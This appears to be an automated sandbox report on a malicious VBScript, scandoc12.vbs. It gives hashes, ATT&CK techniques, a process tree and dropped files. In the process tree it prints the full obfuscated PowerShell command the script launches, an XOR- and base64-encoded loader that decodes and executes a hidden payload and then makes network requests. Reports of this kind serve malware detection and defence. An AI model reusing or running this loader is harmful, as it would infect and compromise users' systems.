0b2fed30ecb51f8da781148bb79ed6dc572d3f8fb36b4dc1aa017254017581e9

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
scandoc12.vbs
Size 18KB
Sample260724-phfjlayvgw
SHA256 0b2fed30ecb51f8da781148bb79ed6dc572d3f8fb36b4dc1aa017254017581e9
MD5 44caced027d27f8a3efee558be1848e8
SHA1 385f03779349f9f2052670858d20143eea1fc46f
SHA512 1af3d7dd3cafd2ecb0a22067744e811c47110555084073c42b6ee90088898a2fa25cacd437887b9c30de5ed1e87b5df1748c2bc1b75142e7704a08b307021334
SSDEEP 384:KNq4EujqmRkXZPDf4nA1VPGfNOUfP7RVG2AQKXQ947WCXDqADRuzTR7Ax:KlQxSfAEgQG8HCx
TLSH
T1F3829616880DBBF01A6A7557A63BB41D952C0F927C382D093B8FD1BC7B7A5348BC10A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	3756	powershell.exe
4	3756	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3756	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4136	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3756	powershell.exe
3756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3756	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 3756	4136	WScript.exe	89
PID 3756 wrote to memory of 1444	3756	powershell.exe	91
PID 1444 wrote to memory of 4424	1444	csc.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\scandoc12.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=50-36;$bxGz5I='WWkxjoqOjjdV';$ch5NhAas='f0f792a6a1b7afc893acab998dddec81a5a6b48ba4b3eecff0f79a9ca5b1f5b6a5b2b8959e9891bda9abafa8a1aeaf9b988f9ce8fa96be86b5b2a78884adb3bdb4aab88aace0f3dca6b3a4a6ee96be86b5b2a78884adb3bdb4aab88aac94b78c98a0fbe894a9a8d4f2cdc4d89fcbf5efe7a183abb0a2a39f9aa8f2bebaa19cb3b48fb7becc9ef3beb59fa2a794a596b2cda796e2b590b6b3ada289aa979986beb6a7b196a7a386aa949f86beaa8c9cabb39996b287b48790af9c8cd0f0a2fccdb5a49980aca0e8a7f199a3848da4b890baa19ca3f0a199b19aac999cba9f8cd4a9a286979aa986eba89f9ea3baa3fcaa89a4acaaf58e9caff5a489aa9fa59290ae8e839182a3fdb2919f9698b3a088a7af909bba879ef384b49cb69df58ca59891998484f49f8cabf1a4899088a7f194baa6e9b3b499a384c8b682b9f78c9c89ad8b899b9ab495e3b5a18c9db38b9688c4b48998aca193b3b9a2a7bebf9e899085a7e9d4a8a199c888acf284b9a6b6b3b5a48bae8b9f9694b0a7b2d08da2fcba96b686b1b08ae8d4f9e7c3f6bc99a5ff94bcab80e0ed9a858d9885b7a6acb58cb4a9a192ddd59a86a5bdafcb85aead939994afb59dffe1b09486f6d2ba98b581b4b7b28ba7e895bf9293b7b7b2b186dffa86bc9390bfa0a1a5f3efb6b4b2a7929ad5e5b0f6f1f2cce9cdc49a8893a2a6a9aab5c5a4e8ea90d486e5a5fd8bbe92ed8fac96989eb5f28ea0afcb97a5acbf9194a4bcb4fef3a2a5b4e3ae9c93a5bdade5ff89e0ed8d938893b5f2e4a9f5a6afb5a088d481e4a9b4b7a29eb2a5ba898f93e1f6b7eb9f8ab7aea2939c9985b3b4a4f3c19fe9b39f9c89a2babbb8a698cdcaa889939eb5bbafabfb8ce8e4afd0d989edf6ade9ff95fd80e6d5d486e5abfd9e8b8da1aeba9390baa0a6a598e1df8cafaf98bc8eb2b7ada7b79ce8e4afd5c6d993ef';$tguxISs='JnsQalpOcGNPWkIrK34BVhtlClxKU11NY29bDRJfVTobS0w4JmwDCW0UY39LclR3am1aBRtXCDJkbVRlbmddWVZVSjR9Vl9na2xZa1NbQ2liGGF2YG5XThN0S3RvSlNva2ESfktbUHNcE3htcXZfQ1xfAzMWBBVsP2tYBR4eSjR2TGJ3Y3ZXThZBf1tcS1h1Y3ZRX2IAHllNWlB3Z0tQXktbSnlaFxVRK38FCVEUbXRJUFpmKiZRARtKDWcyNTwJJmkDbRcSA3JLSxYjKSIZXQUVC2BGUVhuZSxdQlIVFTRVT1YkKy4WCldOUGoFEB52cWNYTFFJU39aT0J3Y2lbXg0KFiwRSkIscndMSBALCnBPWBYqKw80RFkSDD5YAlUjJmkXAF5UQDIbSwxYVmdGWRF/SnlQW1htZV8EF2puYiIReFR3UXZMRFFdDD5YFhgub2NKTlcdGCZsa3AkIikeCm1uGiQXERs8Kz4CaHF+GiQYFkoOCCIeCVhdQjoCHxZ3enYQX1dUT3hbUh5xZ3ZQSBBXS3kRRldlb2sRAgVJQ2lZVFZlamRNS0xeAzoEHxVkZWQeEB8eQ31ZEWJ2YHFKX1ZUQzIPExEnZWVYA3NfSn1LVxEuIjMMBDIwAHYfAhEkMiUeFjIwBDofH1gjKll9QlFMQWhLYgs5RHBRQH1bV38JC2J3cGtQShceaXtLXFlmcVkPcBYTBD1SRkFxbWVMTFIUbHVSWlRwJSIZX0pUV2kYH3ErJmVZSxMaAHYTHxYkLiIZf1pdZWlSGB0jJTIZDRMaA2IJCxYqDwgeDR8aY39LEmFxbWFbXkxGV3VNSxFAUlceAFtfV3lDTFRvZ2FKDRJcTWhMSxE2fmRKDXFbSX8TfGFWIn8zJzIwBDofHxEjIiIeDQ==';$gtcMdCzIY=0x368C-0xD07B;$mBFUcn=@();foreach($c in [char[]]$bxGz5I){$mBFUcn+=[byte]($c-bxor0xAA)};$zUdSyFAfD=$mBFUcn;$mBFUcn=@();foreach($c in [char[]]$bxGz5I){$mBFUcn+=[byte]($c-bxor0x55)};$kg6a5K=$mBFUcn;$mBFUcnoldR='';$i=0;for($j=0;$j-lt$ch5NhAas.Length;$j+=2){$mBFUcnoldR+=[char](([Convert]::ToInt32($ch5NhAas.Substring($j,2),16))-bxor$zUdSyFAfD[$i++%$zUdSyFAfD.Length])};$bWCiRm=$mBFUcnoldR;$mBFUcnoldB=[Convert]::FromBase64String([regex]::Replace($tguxISs, '$mBFUcn', ''));$mBFUcnoldR='';$i=0;for($j=0;$j-lt$mBFUcnoldB.Length;$j++){$mBFUcnoldR+=[char]($mBFUcnoldB[$j]-bxor$kg6a5K[$i++%$kg6a5K.Length])};$jsg7QQ6=$mBFUcnoldR;$sIdP0HqTo=$bWCiRm+$jsg7QQ6;.($env:ComSpec[4,26,25]-join'') $sIdP0HqTo
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4685.tmp" "c:\Users\Admin\AppData\Local\Temp\oj5is4b1\CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP"
      4⤵
      PID:4424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES4685.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4685.tmp
Size 1KB
SHA256 1ac3add94ad4c23627fc0eaa86252c2202c640de6084132b7bbfd346f48180d1
MD5 a14f1741a70daeea6efe6cb7ad6faf30
SHA1 e8398ee91b1c72883b36a8b75c7290e06c267e5a
SHA512 4ba7ae44b4bd93da5b08418c311013b56433d0f3466cc0dc701dda48eeda228698cbcfe9782b7bfb80f669b0b8f928bb7dbff1c418b41d0a620135968e0dc6ba
TLSH
T11E21660543E9472EF0775B326DF6031FE278FC69AFA163AAA540422C2852504EEA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

oj5is4b1.dll

Path C:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.dll
Size 3KB
SHA256 6f085a6dae84911581f2267918b9c444708f59285b9ae29cf805ef756a239ac4
MD5 49bf159eb343808f51135a689550ee9b
SHA1 2d8467dd54bbadace9a0d316be5d4130baabe958
SHA512 4b3529b65122f1698dd8db0126d4a875727910d9f8f0e906328a9272cfc408ea6c10dd505cd372e4b4d6a4478bdb168127d2e882fca8202c3231b8dabfc664d6
TLSH
T16651110A63E8463BE4BB0B317EF343072774F920AB62635D5880426CAC213645F32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\CSC4DFBE45B4B2E4005B3C4E2BAE2618.TMP
Size 652B
SHA256 6ddbbad2b033bfbd9bac843095043c5bb0f3e3a7582883ff0d4aaecf9f9e631b
MD5 fbd6b8ef7c1bc53f14cc561d88ffa8ca
SHA1 c4f097f569845d15731b3cccb8efd7fd6fdb4741
SHA512 ea2467426f1a9327a1111300f9773033c08c84f2142cb21f30fc7f3edab9c9e16793eefb6e314e5afeb524182d2b62218d3d51f10d5ec216f7949cfb8432a119
TLSH
T1EBF05E0963F8420EF0F74F30BDF643A791A9BC64DE32A3ED2490435D68645149A72FB6
MD5 SHA1 SHA512 TLSH

Submit Download

oj5is4b1.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

oj5is4b1.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\oj5is4b1\oj5is4b1.cmdline
Size 369B
SHA256 94c80d3d6ab05a2a89e31c9aaedce86d69f8fa0d9d599665afcdb709c945b413
MD5 1afc14e49c775fd2591128b43d4cff32
SHA1 74673a3e1896a313c738456082b18e0fd2400058
SHA512 6b4ccd59e3d956cd2cde916e1b5f2b490135771c0cb7f278fa14b4d98e17353aad28a4e2a94c4e585c991552cc4b650828b59d03768a4ee4c6dd5832276508a4
TLSH
T16DE0C02A4286C37D41DD50072669C4ACD2730FC32B483F8CA0418C0FF057000ABD1775
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3756-12-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-14-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-9-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-10-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-11-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-0-0x00007FFFF8E1F000-0x00007FFFF8E20000-memory.dmp

Download

memory/3756-13-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-8-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-7-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-6-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-27-0x000001F3D3320000-0x000001F3D3328000-memory.dmp

Download

memory/3756-5-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-4-0x000001F3D3330000-0x000001F3D3352000-memory.dmp

Download

memory/3756-1-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/3756-29-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download